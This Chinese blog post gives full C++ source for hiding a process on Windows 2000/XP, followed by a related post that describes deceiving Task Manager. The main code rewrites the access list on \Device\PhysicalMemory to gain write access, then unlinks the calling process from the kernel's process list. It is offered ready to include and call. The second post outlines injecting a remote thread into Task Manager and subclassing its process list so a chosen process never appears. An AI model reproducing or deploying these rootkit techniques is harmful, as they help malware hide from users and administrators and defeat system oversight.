在2000和xp下隐藏进程

在2000和xp下,隐藏进程,VC6.0测试通过
 
 
 
头文件:

//////////////////////////////////////
//HideProcess.h
BOOL HideProcess();

 
 
CPP源文件:
/////////////////////////////////////////////////////////////////////////////
//HideProcess.cpp
#include<windows.h>
#include<Accctrl.h>
#include<Aclapi.h>

#include"HideProcess.h"

#define NT_SUCCESS(Status)((NTSTATUS)(Status) >= 0)
#define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004L)
#define STATUS_ACCESS_DENIED ((NTSTATUS)0xC0000022L)

typedef LONG NTSTATUS;

typedef struct _IO_STATUS_BLOCK
{
    NTSTATUS Status;
    ULONG Information;
} IO_STATUS_BLOCK, *PIO_STATUS_BLOCK;

typedef struct _UNICODE_STRING
{
    USHORT Length;
    USHORT MaximumLength;
    PWSTR Buffer;
} UNICODE_STRING, *PUNICODE_STRING;

#define OBJ_INHERIT                0x00000002L
#define OBJ_PERMANENT            0x00000010L
#define OBJ_EXCLUSIVE            0x00000020L
#define OBJ_CASE_INSENSITIVE    0x00000040L
#define OBJ_OPENIF                0x00000080L
#define OBJ_OPENLINK            0x00000100L
#define OBJ_KERNEL_HANDLE        0x00000200L
#define OBJ_VALID_ATTRIBUTES    0x000003F2L

typedef struct _OBJECT_ATTRIBUTES
{
    ULONG Length;
    HANDLE RootDirectory;
    PUNICODE_STRING ObjectName;
    ULONG Attributes;
    PVOID SecurityDescriptor;
    PVOID SecurityQualityOfService;
} OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES;

typedef NTSTATUS (CALLBACK* ZWOPENSECTION)(
    OUT PHANDLE SectionHandle,
    IN ACCESS_MASK DesiredAccess,
    IN POBJECT_ATTRIBUTES ObjectAttributes
    );

typedef VOID (CALLBACK* RTLINITUNICODESTRING)(
    IN OUT PUNICODE_STRING DestinationString,
    IN PCWSTR SourceString
    );

RTLINITUNICODESTRING RtlInitUnicodeString;
ZWOPENSECTION ZwOpenSection;
HMODULE g_hNtDLL = NULL;
PVOID g_pMapPhysicalMemory = NULL;
HANDLE g_hMPM = NULL;
OSVERSIONINFO g_osvi;
//---------------------------------------------------------------------------
BOOL InitNTDLL()
{
    g_hNtDLL = LoadLibrary("ntdll.dll");

    if (NULL == g_hNtDLL)
        return FALSE;

    RtlInitUnicodeString = (RTLINITUNICODESTRING)GetProcAddress( g_hNtDLL,

"RtlInitUnicodeString");
    ZwOpenSection = (ZWOPENSECTION)GetProcAddress( g_hNtDLL, "ZwOpenSection");

    return TRUE;
}
//---------------------------------------------------------------------------
VOID CloseNTDLL()
{
    if(NULL != g_hNtDLL)
        FreeLibrary(g_hNtDLL);

    g_hNtDLL = NULL;
}
//---------------------------------------------------------------------------
VOID SetPhyscialMemorySectionCanBeWrited(HANDLE hSection)
{
    PACL pDacl                    = NULL;
    PSECURITY_DESCRIPTOR pSD    = NULL;
    PACL pNewDacl = NULL;
   
    DWORD dwRes = GetSecurityInfo(hSection, SE_KERNEL_OBJECT, DACL_SECURITY_INFORMATION, NULL,

NULL, &pDacl, NULL, &pSD);

    if(ERROR_SUCCESS != dwRes)
    {

    if(pSD)
        LocalFree(pSD);
    if(pNewDacl)
        LocalFree(pNewDacl);
    }

    EXPLICIT_ACCESS ea;
    RtlZeroMemory(&ea, sizeof(EXPLICIT_ACCESS));
    ea.grfAccessPermissions = SECTION_MAP_WRITE;
    ea.grfAccessMode = GRANT_ACCESS;
    ea.grfInheritance= NO_INHERITANCE;
    ea.Trustee.TrusteeForm = TRUSTEE_IS_NAME;
    ea.Trustee.TrusteeType = TRUSTEE_IS_USER;
    ea.Trustee.ptstrName = "CURRENT_USER";

    dwRes = SetEntriesInAcl(1,&ea,pDacl,&pNewDacl);
   
    if(ERROR_SUCCESS != dwRes)
    {

    if(pSD)
        LocalFree(pSD);
    if(pNewDacl)
        LocalFree(pNewDacl);
    }
    dwRes = SetSecurityInfo

(hSection,SE_KERNEL_OBJECT,DACL_SECURITY_INFORMATION,NULL,NULL,pNewDacl,NULL);
   
    if(ERROR_SUCCESS != dwRes)
    {

    if(pSD)
        LocalFree(pSD);
    if(pNewDacl)
        LocalFree(pNewDacl);
    }

}
//---------------------------------------------------------------------------
HANDLE OpenPhysicalMemory()
{
    NTSTATUS status;
    UNICODE_STRING physmemString;
    OBJECT_ATTRIBUTES attributes;
    ULONG PhyDirectory;

    g_osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
    GetVersionEx (&g_osvi);

    if (5 != g_osvi.dwMajorVersion)
        return NULL;

    switch(g_osvi.dwMinorVersion)
    {
        case 0:
            PhyDirectory = 0x30000;
            break; //2k
        case 1:
            PhyDirectory = 0x39000;
            break; //xp
        default:
            return NULL;
    }

    RtlInitUnicodeString(&physmemString, L"//Device//PhysicalMemory");

    attributes.Length                    = sizeof(OBJECT_ATTRIBUTES);
    attributes.RootDirectory            = NULL;
    attributes.ObjectName                = &physmemString;
    attributes.Attributes                = 0;
    attributes.SecurityDescriptor        = NULL;
    attributes.SecurityQualityOfService    = NULL;

    status = ZwOpenSection(&g_hMPM, SECTION_MAP_READ|SECTION_MAP_WRITE, &attributes);

    if(status == STATUS_ACCESS_DENIED)
    {
        status = ZwOpenSection(&g_hMPM, READ_CONTROL|WRITE_DAC, &attributes);
        SetPhyscialMemorySectionCanBeWrited(g_hMPM);
        CloseHandle(g_hMPM);
        status = ZwOpenSection(&g_hMPM, SECTION_MAP_READ|SECTION_MAP_WRITE, &attributes);
    }

    if(!NT_SUCCESS(status))
        return NULL;

    g_pMapPhysicalMemory = MapViewOfFile(g_hMPM, FILE_MAP_READ|FILE_MAP_WRITE, 0, PhyDirectory,

0x1000);

    if( g_pMapPhysicalMemory == NULL )
        return NULL;

    return g_hMPM;
}
//---------------------------------------------------------------------------
PVOID LinearToPhys(PULONG BaseAddress, PVOID addr)
{
    ULONG VAddr = (ULONG)addr,PGDE,PTE,PAddr;
    PGDE = BaseAddress[VAddr>>22];

    if (0 == (PGDE&1))
        return 0;

    ULONG tmp = PGDE & 0x00000080;

    if (0 != tmp)
    {
        PAddr = (PGDE & 0xFFC00000) + (VAddr & 0x003FFFFF);
    }
    else
    {
        PGDE = (ULONG)MapViewOfFile(g_hMPM, 4, 0, PGDE & 0xfffff000, 0x1000);
        PTE = ((PULONG)PGDE)[(VAddr&0x003FF000)>>12];
       
        if (0 == (PTE&1))
            return 0;

        PAddr=(PTE&0xFFFFF000)+(VAddr&0x00000FFF);
        UnmapViewOfFile((PVOID)PGDE);
    }

    return (PVOID)PAddr;
}
//---------------------------------------------------------------------------
ULONG GetData(PVOID addr)
{
    ULONG phys = (ULONG)LinearToPhys((PULONG)g_pMapPhysicalMemory, (PVOID)addr);
    PULONG tmp = (PULONG)MapViewOfFile(g_hMPM, FILE_MAP_READ|FILE_MAP_WRITE, 0, phys &

0xfffff000, 0x1000);
   
    if (0 == tmp)
        return 0;

    ULONG ret = tmp[(phys & 0xFFF)>>2];
    UnmapViewOfFile(tmp);

    return ret;
}
//---------------------------------------------------------------------------
BOOL SetData(PVOID addr,ULONG data)
{
    ULONG phys = (ULONG)LinearToPhys((PULONG)g_pMapPhysicalMemory, (PVOID)addr);
    PULONG tmp = (PULONG)MapViewOfFile(g_hMPM, FILE_MAP_WRITE, 0, phys & 0xfffff000, 0x1000);

    if (0 == tmp)
        return FALSE;

    tmp[(phys & 0xFFF)>>2] = data;
    UnmapViewOfFile(tmp);

    return TRUE;
}
//---------------------------------------------------------------------------
long __stdcall exeception(struct _EXCEPTION_POINTERS *tmp)
{
   ExitProcess(0);
   return 1 ;
}
//---------------------------------------------------------------------------
BOOL YHideProcess()
{
//    SetUnhandledExceptionFilter(exeception);

    if (FALSE == InitNTDLL())
        return FALSE;

    if (0 == OpenPhysicalMemory())
        return FALSE;

    ULONG thread  = GetData((PVOID)0xFFDFF124); //kteb
    ULONG process = GetData(PVOID(thread + 0x44)); //kpeb

    ULONG fw, bw;
    if (0 == g_osvi.dwMinorVersion)
    {
        fw = GetData(PVOID(process + 0xa0));
        bw = GetData(PVOID(process + 0xa4));       
    }

    if (1 == g_osvi.dwMinorVersion)
    {
        fw = GetData(PVOID(process + 0x88));
        bw = GetData(PVOID(process + 0x8c));
    }
       
    SetData(PVOID(fw + 4), bw);
    SetData(PVOID(bw), fw);

    CloseHandle(g_hMPM);
    CloseNTDLL();

    return TRUE;
}

BOOL HideProcess()
{
 static BOOL b_hide = false;
 if (!b_hide)
 {
  b_hide = true;
  YHideProcess();
  return true;
 }
 return true;
}

 
然后在需要隐藏进程的时候#incoude"HideProcess.h",调用HideProcess()即可。

from:安全焦点网               

阅读更多

2000进程隐藏的新思路

05-12

大家知道,在NT内核的操作系统中,要做进程的隐藏要比95/98下困难得多。目前网上流传的一般方法不外乎几种:rnrn 很多做法是让程序运行在别的进程的地址空间里,也就是创建远程线程来工作。这种方法事实上已经可以有很出色的效果了。要是非要挑它有什么毛病的话,我们可以说那不叫作真正的进程隐藏,因为根本没有实际的进程存在。rn 还有一种很高深的方法,能做到真正的进程隐藏。它用到了一些Windows没有公开的数据结构,这些资料我之前也没有见过(怪我太孤陋寡闻^_^!)。它的原作者也一定是个牛人了.这个方法也很有霸气,它会得到系统的进程链然后从中删掉要隐藏的进程节点,那么所有的进程管理程序就都看不到它了。其中所提供的代码我没有试验过,也略表示怀疑,觉得这种程序是否只有在内核态才能正常运行。无论怎样,据作者的说法,这样做会造成Windows运行不稳定,有时会出现窗口报错,而且因为使用了未公开的东西,具体原因也无从知道了。rn 再有我还能想到的方法,就是用全局的API钩子,或者至少对进程管理器下钩子,截获HelpTools之类进程枚举的API。这也只是想法,我没有试验过不保证它一定能工作。万一进程管理器使用的是未公开的API而并非你所挂钩的那些,这样做就是无效的。再有加全局API钩子的性能代价还是不小的。rnrn 在这里我给大家提供一种新的,实际上很简单但却有效的方法,或者说思路,就是我们不像第二种方法那样欺骗系统,而只是欺骗观众:进程管理器使用一个ListView32控件来显示进程,我们不妨把这个窗口子类化,接管它的行为,不让它显示我们要隐藏的进程。rnrn 有了想法,实现过程就简单了。我们先用SPY++跟踪一下这个窗口的消息,发现它的每个进程项是依照顺序从上到下填写进去的。我们只需要拦截住相应的填入动作就可以了。以下是剪下来的跟踪结果的一个片断,我们可以看看到底需要拦截哪些消息,相应的消息参数也要到msdn里去查一下。rnrn<00335> 0006087C S .LVM_GETITEMSTATE i:28 mask:2rn<00336> 0006087C R .LVM_GETITEMSTATE flags:0rn<00337> 0006087C S .LVM_GETITEMRECT i:28 prc:0007F4F0rn<00338> 0006087C R .LVM_GETITEMRECT fSucceeded:Truern<00339> 0006087C S .LVM_GETITEMSTATE i:29 mask:2rn<00340> 0006087C R .LVM_GETITEMSTATE flags:0rn<00341> 0006087C S .LVM_GETITEMRECT i:29 prc:0007F4F0rn<00342> 0006087C R .LVM_GETITEMRECT fSucceeded:Truern<00343> 0006087C R WM_ERASEBKGND fErased:Truern<00344> 0006087C S WM_SETREDRAW fRedraw:Falsern<00345> 0006087C R WM_SETREDRAWrn<00346> 0006087C S LVM_GETITEMCOUNTrn<00347> 0006087C R LVM_GETITEMCOUNT iCount:30rn<00348> 0006087C S LVM_GETNEXTITEM iStart:-1 flags:LVNI_SELECTEDrn<00349> 0006087C R LVM_GETNEXTITEM iIndex:0rn<00350> 0006087C S LVM_GETITEMW pitem:0007F804rn<00351> 0006087C R LVM_GETITEMW fSucceeded:Truern<00352> 0006087C S LVM_GETITEMW pitem:0007F880rn<00353> 0006087C R LVM_GETITEMW fSucceeded:Truern<00354> 0006087C S LVM_GETITEMW pitem:0007F880rn<00355> 0006087C R LVM_GETITEMW fSucceeded:Truern<00356> 0006087C S LVM_GETITEMW pitem:0007F880rn<00357> 0006087C R LVM_GETITEMW fSucceeded:Truern<00358> 0006087C S LVM_REDRAWITEMS iFirst:2 iLast:0rn<00359> 0006087C R LVM_REDRAWITEMS fSucceeded:Truern<00360> 0006087C S LVM_GETITEMW pitem:0007F880rn<00361> 0006087C R LVM_GETITEMW fSucceeded:Truern<00362> 0006087C S LVM_GETITEMW pitem:0007F880rn<00363> 0006087C R LVM_GETITEMW fSucceeded:Truern<00364> 0006087C S LVM_GETITEMW pitem:0007F880rn<00365> 0006087C R LVM_GETITEMW fSucceeded:Truern<00366> 0006087C S LVM_REDRAWITEMS iFirst:5 iLast:0rn<00367> 0006087C R LVM_REDRAWITEMS fSucceeded:Truern<00368> 0006087C S LVM_GETITEMW pitem:0007F880rn<00369> 0006087C R LVM_GETITEMW fSucceeded:Truern<00370> 0006087C S LVM_GETITEMW pitem:0007F880rn<00371> 0006087C R LVM_GETITEMW fSucceeded:Truern<00372> 0006087C S LVM_REDRAWITEMS iFirst:7 iLast:0rn<00373> 0006087C R LVM_REDRAWITEMS fSucceeded:Truern<00374> 0006087C S LVM_GETITEMW pitem:0007F880rn<00375> 0006087C R LVM_GETITEMW fSucceeded:Truern<00376> 0006087C S LVM_GETITEMW pitem:0007F880rn<00377> 0006087C R LVM_GETITEMW fSucceeded:Truern<00378> 0006087C S LVM_GETITEMW pitem:0007F880rn<00379> 0006087C R LVM_GETITEMW fSucceeded:Truern<00380> 0006087C S LVM_GETITEMW pitem:0007F880rn<00381> 0006087C R LVM_GETITEMW fSucceeded:Truern<00382> 0006087C S LVM_REDRAWITEMS iFirst:11 iLast:0rn<00383> 0006087C R LVM_REDRAWITEMS fSucceeded:Truern<00384> 0006087C S LVM_GETITEMW pitem:0007F880rn<00385> 0006087C R LVM_GETITEMW fSucceeded:Truern<00386> 0006087C S LVM_GETITEMW pitem:0007F880rn<00387> 0006087C R LVM_GETITEMW fSucceeded:Truern<00388> 0006087C S LVM_REDRAWITEMS iFirst:13 iLast:0rn<00389> 0006087C R LVM_REDRAWITEMS fSucceeded:Truernrn 我们需要拦截的几个消息:rn LVM_GETNEXTITEM:rn LVM_REDRAWITEMS:rn LVM_GETITEMRECT:rn LVM_GETITEMSTATE:rn LVM_GETITEMCOUNT:rn LVM_GETITEM:rn LVM_SETITEM:rn LVM_INSERTITEM:rn LVM_DELETEITEM:rnrn 大家注意,这些消息中大都有相应的信息指明这个ITEM在ListView中的位置,当然,如果我们从中间删掉一行或几行,这些位置肯定会发生变化的,如果我们仍然任由这些消息按照原来的方式传递下去,那里就会出现一些空白的或者没有刷新的行,我们的险恶用心也就暴露无余了。于是我们为了假装他们没有变化,必须作一些额外的工作。这可以抽象为:我们维护两个表,一个用来向用户反映他/她应该看到的信息,当然这是删除过ITEM以后的表;另一个向系统反映它应该“看到”的信息,这才是ListView的本来面目。我们在这两个表之间做一个相互位置关系的映射,把每个消息的指定的位置都映射之后再向下/向上传播,真正做到“欺上瞒下”。当然实现时并不真需要两个表,这只是一种抽象,你无论用什么手段,维护好这个映射关系就好了。rnrnrn 在这之前必须说明,基于NT的操作系统中,只能子类化属于自己进程的窗口,所以我们仍然需要创建一个远程线程,把进程管理器“黑”掉,来完成子类化的工作。这一类的方法网上随便找都能找到,我就不赘述了。rnrn 再补充一点就是任务管理器有两个类似的ListView32,一个用来显示进程,另一个用来显示窗口。如果你要隐藏的进程有窗口,你也要把这个ListView32也“黑”掉,方法完全相同,甚至行为也相同,所以我在代码中干脆稍动了点手脚来偷懒,使用同一个函数对他们进行子类化。还有一个小窗口用数字显示当前的进程数,没说的,干掉它。rnrn 当然这种方法的缺点也就不言自明:它只针对任务管理器,碰到其他的进程管理程序(比如xp Professional 的tasklist命令行工具)就无能为力了。rnrn以下是最核心的那部分代码。我还写了一个类CPreventItemList,来维护上面所说的映射关系,就不贴上来了。它的几个函数很简单,代码中一看便知。大家可以自己随便实现一下,呵呵。水平实在有限,有什么错误遗漏大家帮我修正补充一下,代码写得挺差也没注释还望大家不要唾我。rnrn原创作者Foreverflying,可以随意转载,请不要删除此行。rn

没有更多推荐了,返回首页